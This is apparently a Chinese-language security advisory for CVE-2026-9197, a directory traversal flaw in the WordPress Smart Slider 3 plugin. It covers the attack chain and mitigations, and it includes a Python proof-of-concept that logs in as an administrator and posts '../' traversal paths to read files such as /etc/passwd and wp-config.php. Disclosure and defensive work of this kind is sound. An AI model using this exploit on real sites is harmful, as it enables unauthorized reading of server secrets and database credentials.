IPBUF安全漏洞报告
English
CVE-2026-9197 CVSS 4.9 中危

CVE-2026-9197 WordPress Smart Slider 3插件目录遍历漏洞

披露日期: 2026-06-06

漏洞信息

漏洞编号
CVE-2026-9197
漏洞类型
目录遍历
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Smart Slider 3 plugin for WordPress

相关标签

目录遍历Smart Slider 3WordPress插件文件读取CVE-2026-9197认证用户漏洞WordPress安全replaceHTMLImage

漏洞概述

Smart Slider 3是WordPress平台上一款流行的幻灯片制作插件,广泛应用于各类网站以创建动态图片轮播和滑动展示。该插件在所有版本直至3.5.1.36存在一个严重的安全漏洞,攻击者可利用replaceHTMLImage函数中的目录遍历缺陷读取服务器上的任意文件内容。此漏洞需要攻击者拥有管理员级别或更高的WordPress账号权限,一旦成功利用,攻击者可获取服务器敏感配置文件、数据库凭证、其他插件的密钥、用户密码哈希等机密信息,可能导致整个网站被完全控制。鉴于WordPress插件生态系统的广泛使用,该漏洞可能影响大量使用此插件的网站,建议管理员立即采取修复措施。漏洞于2026年6月6日被公开披露,由Wordfence安全团队发现并报告。

技术细节

该漏洞存在于Smart Slider 3插件的replaceHTMLImage函数中,由于对用户输入的文件路径缺乏充分的验证和过滤,攻击者可以通过构造特殊的文件路径参数来突破目录限制。漏洞代码位于ControllerSlider.php的第261行以及ExportSlider.php的第312行和第404行。攻击者利用目录遍历字符序列(如../)结合目标文件的绝对或相对路径,可以访问Web根目录之外的系统文件。典型的攻击payload可能包含类似../../../../etc/passwd的路径字符串,插件在处理时未进行路径规范化或边界检查,直接将用户提供的路径传递给文件系统操作函数。由于该漏洞需要管理员权限才能利用,攻击者必须首先获取有效的WordPress管理员会话,这可能通过钓鱼、弱密码或其他认证绕过手段实现。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的管理员账户凭据,可通过钓鱼攻击、弱密码破解或社工手段实现
STEP 2
步骤2
攻击者登录WordPress后台,获取有效的认证会话cookie
STEP 3
步骤3
攻击者构造包含目录遍历序列的恶意请求,目标是Smart Slider 3的replaceHTMLImage函数端点
STEP 4
步骤4
发送特制的HTTP POST请求,payload中包含类似../../../../../../etc/passwd的文件路径
STEP 5
步骤5
插件未对路径进行安全验证和规范化,直接将用户输入传递给文件系统操作函数
STEP 6
步骤6
服务器解析目录遍历序列,返回目标文件内容给攻击者
STEP 7
步骤7
攻击者获取敏感文件内容,可能包括wp-config.php(数据库凭据)、其他插件配置等
STEP 8
步骤8
利用获取的凭据进一步渗透,可能导致数据库泄露或服务器完全沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import quote # CVE-2026-9197 PoC - Smart Slider 3 Directory Traversal # Target: WordPress site with Smart Slider 3 plugin <= 3.5.1.36 # Requirement: Administrator-level access def exploit_directory_traversal(target_url, wp_admin_user, wp_admin_pass, target_file='/etc/passwd'): """ Exploit the directory traversal vulnerability in Smart Slider 3's replaceHTMLImage function. Args: target_url: Base URL of the WordPress site wp_admin_user: WordPress administrator username wp_admin_pass: WordPress administrator password target_file: Path to the file to read (default: /etc/passwd) Returns: Content of the requested file or None on failure """ session = requests.Session() # WordPress login login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_admin_user, 'pwd': wp_admin_pass, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to WordPress as {wp_admin_user}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed. Check credentials.") return None print("[+] Login successful!") # Encode the target file path for directory traversal encoded_path = quote(target_file) # Vulnerable endpoint - Smart Slider 3 replaceHTMLImage function exploit_url = f"{target_url}/wp-admin/admin.php?page=smartslider3&controller=slider&action=replaceHTMLImage" # Construct the exploit payload exploit_data = { 'file': f"../../../../../../..{target_file}", 'module': 'slider', 'task': 'replaceHTMLImage' } print(f"[*] Attempting to read: {target_file}") resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and resp.text: print(f"[+] File content retrieved successfully!") print("-" * 60) print(resp.text[:2000]) # Print first 2000 chars return resp.text else: print(f"[-] Failed to retrieve file. Status: {resp.status_code}") return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass> [file_to_read]") print(f"Example: python {sys.argv[0]} http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' exploit_directory_traversal(target, user, password, file_path)

影响范围

Smart Slider 3 plugin for WordPress <= 3.5.1.36

防御指南

临时缓解措施
在官方安全补丁发布之前,可采取以下临时缓解措施:1)确保所有WordPress管理员账户使用强密码并启用双因素认证;2)限制能够访问Smart Slider 3插件的用户数量;3)在Web服务器层面配置,禁止访问wp-admin目录中的敏感接口;4)使用安全插件如Wordfence或Sucuri进行入侵检测;5)考虑暂时禁用Smart Slider 3插件,直至完成安全更新;6)实施完整的文件完整性监控,及时发现未授权的文件访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表